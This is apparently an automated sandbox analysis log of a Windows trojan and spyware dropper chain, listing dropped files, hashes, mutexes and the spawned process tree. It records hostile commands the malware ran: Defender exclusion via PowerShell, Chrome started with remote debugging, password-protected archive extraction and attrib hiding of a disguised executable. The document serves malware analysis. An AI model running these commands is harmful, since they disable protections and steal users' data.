Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_05A035B1	7_2_05A035B1
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_05A035C0	7_2_05A035C0
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_05A011F4	7_2_05A011F4
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_08A42106	7_2_08A42106
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_08A4A514	7_2_08A4A514
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_08A4BD98	7_2_08A4BD98
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_08A42FC0	7_2_08A42FC0
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A210B90	7_2_0A210B90
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A211E88	7_2_0A211E88
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A219E98	7_2_0A219E98
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A217F70	7_2_0A217F70
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A212CF8	7_2_0A212CF8
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A211450	7_2_0A211450
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A219598	7_2_0A219598
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A210B77	7_2_0A210B77
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A213BD2	7_2_0A213BD2
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A213BD8	7_2_0A213BD8
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A2138A2	7_2_0A2138A2
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A2118E8	7_2_0A2118E8
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A2118D8	7_2_0A2118D8
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A218960	7_2_0A218960
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A218950	7_2_0A218950
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A2139E2	7_2_0A2139E2
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A211E78	7_2_0A211E78
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A219E88	7_2_0A219E88
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A217F62	7_2_0A217F62
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A214FE8	7_2_0A214FE8
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A214FDA	7_2_0A214FDA
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A211CC9	7_2_0A211CC9
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A218D20	7_2_0A218D20
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A218D10	7_2_0A218D10
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A214DE0	7_2_0A214DE0
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A214DD2	7_2_0A214DD2
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A218228	7_2_0A218228
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A218218	7_2_0A218218
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A21526A	7_2_0A21526A
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A215278	7_2_0A215278
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A210007	7_2_0A210007
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A210040	7_2_0A210040
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A213780	7_2_0A213780
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A21478A	7_2_0A21478A
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A21A438	7_2_0A21A438
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A211441	7_2_0A211441
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A21A448	7_2_0A21A448
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A21544A	7_2_0A21544A
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A215458	7_2_0A215458
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A218568	7_2_0A218568
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A218558	7_2_0A218558
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A2145B8	7_2_0A2145B8
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 7_2_0A219588	7_2_0A219588
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_02AAA3A8	10_2_02AAA3A8
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_02AA21B0	10_2_02AA21B0
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_02AA21C0	10_2_02AA21C0
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_053049A0	10_2_053049A0
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_053099F8	10_2_053099F8
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_05308E79	10_2_05308E79
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_05308E88	10_2_05308E88
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_053099BF	10_2_053099BF
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_05304990	10_2_05304990
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_053099E8	10_2_053099E8
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_05309B7B	10_2_05309B7B
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_05301A35	10_2_05301A35
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_054C4C08	10_2_054C4C08
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_054C17D0	10_2_054C17D0
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_054C2878	10_2_054C2878
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_054C1B07	10_2_054C1B07
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_054D3F50	10_2_054D3F50
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_054D7F38	10_2_054D7F38
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_054D7668	10_2_054D7668
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_054D4613	10_2_054D4613
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_054D489F	10_2_054D489F
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_054D426F	10_2_054D426F
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_054D22F0	10_2_054D22F0
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_054D45EA	10_2_054D45EA
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_054D45BC	10_2_054D45BC
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_054D45B0	10_2_054D45B0
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_054D3F41	10_2_054D3F41
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_054D3F86	10_2_054D3F86
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_054D3F50	10_2_054D3F50
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_054D49E1	10_2_054D49E1
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_054D7320	10_2_054D7320
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_054D4A01	10_2_054D4A01
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_054D421D	10_2_054D421D
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_054D4229	10_2_054D4229
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Code function: 10_2_054D42F4	10_2_054D42F4

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe 33C236DC81AF2A47D595731D6FA47269B2874B281152530FDFFDDA9CBEB3B501
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe 7A769963165063758F15F6E0CECE25C9D13072F67FA0D3C25A03A5104FE0783A

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Process token adjusted: Security

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00C980C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0011D942 appears 84 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0011D663 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00117A00 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0011D64E appears 79 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 001180C0 appears 393 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0011DF80 appears 81 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00138E10 appears 47 times

Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5780 -s 680

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: random[1].exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 79cd489a19.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9983448995231607
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983448995231607
Source: random[1].exe0.6.dr	Static PE information: Section: ZLIB complexity 0.9974582619863014
Source: random[1].exe0.6.dr	Static PE information: Section: xnuzvlhe ZLIB complexity 0.994702490860937
Source: 751afd6d8b.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9974582619863014
Source: 751afd6d8b.exe.6.dr	Static PE information: Section: xnuzvlhe ZLIB complexity 0.994702490860937
Source: random[1].exe1.6.dr	Static PE information: Section: souunsyz ZLIB complexity 0.9948484726974622
Source: e8da769a7d.exe.6.dr	Static PE information: Section: souunsyz ZLIB complexity 0.9948484726974622
Source: random[1].exe2.6.dr	Static PE information: Section: ZLIB complexity 0.9951784478782287
Source: random[1].exe2.6.dr	Static PE information: Section: vxwcoufq ZLIB complexity 0.9927145899440919
Source: 5fc147bcaa.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9951784478782287
Source: 5fc147bcaa.exe.6.dr	Static PE information: Section: vxwcoufq ZLIB complexity 0.9927145899440919
Source: random[2].exe0.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: random[2].exe0.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: 27302b4729.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: 27302b4729.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: 3b4e53035a.exe.6.dr	Static PE information: Section: pggsbtrm ZLIB complexity 0.9943395699213161
Source: random[2].exe2.6.dr	Static PE information: Section: pggsbtrm ZLIB complexity 0.9943395699213161

Source: random[1].exe2.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 5fc147bcaa.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[2].exe2.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 3b4e53035a.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, IHOLEvy0T7QhOrsMmC.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: _0020.SetAccessControl
Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 7.2.79cd489a19.exe.f1b0000.4.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: _0020.AddAccessRule
Source: random[2].exe.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: random[2].exe.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: d7a64ab6bf.exe.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: d7a64ab6bf.exe.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: _0020.SetAccessControl
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: _0020.AddAccessRule
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, IHOLEvy0T7QhOrsMmC.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: 5fc147bcaa.exe, 0000000E.00000002.2728388517.00000000006B9000.00000040.00000001.01000000.00000013.sdmp, 5fc147bcaa.exe, 0000000E.00000003.2688045674.00000000050A8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: .a_po^ ojYd.o B U.R G v.Q_F& ZNH K.9.sV`OQ qOq_A( N5.j P.X z.k.Yf_HL.P.L`.C Ue_q_B_t.h{_yr\=A f.3_q_Fvb_H_bm W.UP#.by_iY.Yw I.Y_G p.3c g.Zy S v.U.N C_m Z_i.H_j B l_DH_Pd.iz_O.f~ U z_Mv_d7 T Mz.f.594/}_m kS.v.D u.rZu.S G.N_x.V J.Q.G FO^.X<.6_fv.V ny.L,_E.2.m I_l.b$ Mx sZ.K! p.Y.U.V:U.89 R_H F3.d_R A UQ.C_y y Y Jb.Q_S.N.s< l_Ab~[_w9zV?!C9.N_HQ)*_n R.tP Ww_u aU;.V EPk Xr.Q0.y.A!]_b!7 g.R_pF.E_b o.o.q.o_E.T_rdfw.c}_ck.4.Y_w:_P.B(#`_xy_i.3_Y.A_N.q.6.YE_S_T.R H n.R_d_F.V.s_R68).I aL q.H b.W.Q!.r b_w c c$_va.X_v.tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_C_Q.e J q7E V P.LP_Q.kTN_c.F.D gc.hT_s_Q1
Source: 5fc147bcaa.exe, 0000000E.00000002.2728388517.00000000006B9000.00000040.00000001.01000000.00000013.sdmp, 5fc147bcaa.exe, 0000000E.00000003.2688045674.00000000050A8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: .tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@81/56@22/9

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6040:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Mutant created: \Sessions\1\BaseNamedObjects\80065eb12166c1a5
Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-41f5ca1f-12f2-e123ed-b12badd5efaa}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6220:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6328:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6388:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1104:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7368:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4944:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1228:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6496:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"

Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: 751afd6d8b.exe, 0000000B.00000003.2520064833.0000000005B07000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2520602019.0000000005AD5000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 50%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe "C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe"
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process created: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe "C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe"
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process created: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe "C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe "C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe "C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe "C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe"
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5780 -s 680
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe "C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe"
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\wyxpjht"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe "C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Process created: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe "C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe "C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe"
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process created: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe "C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe"
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
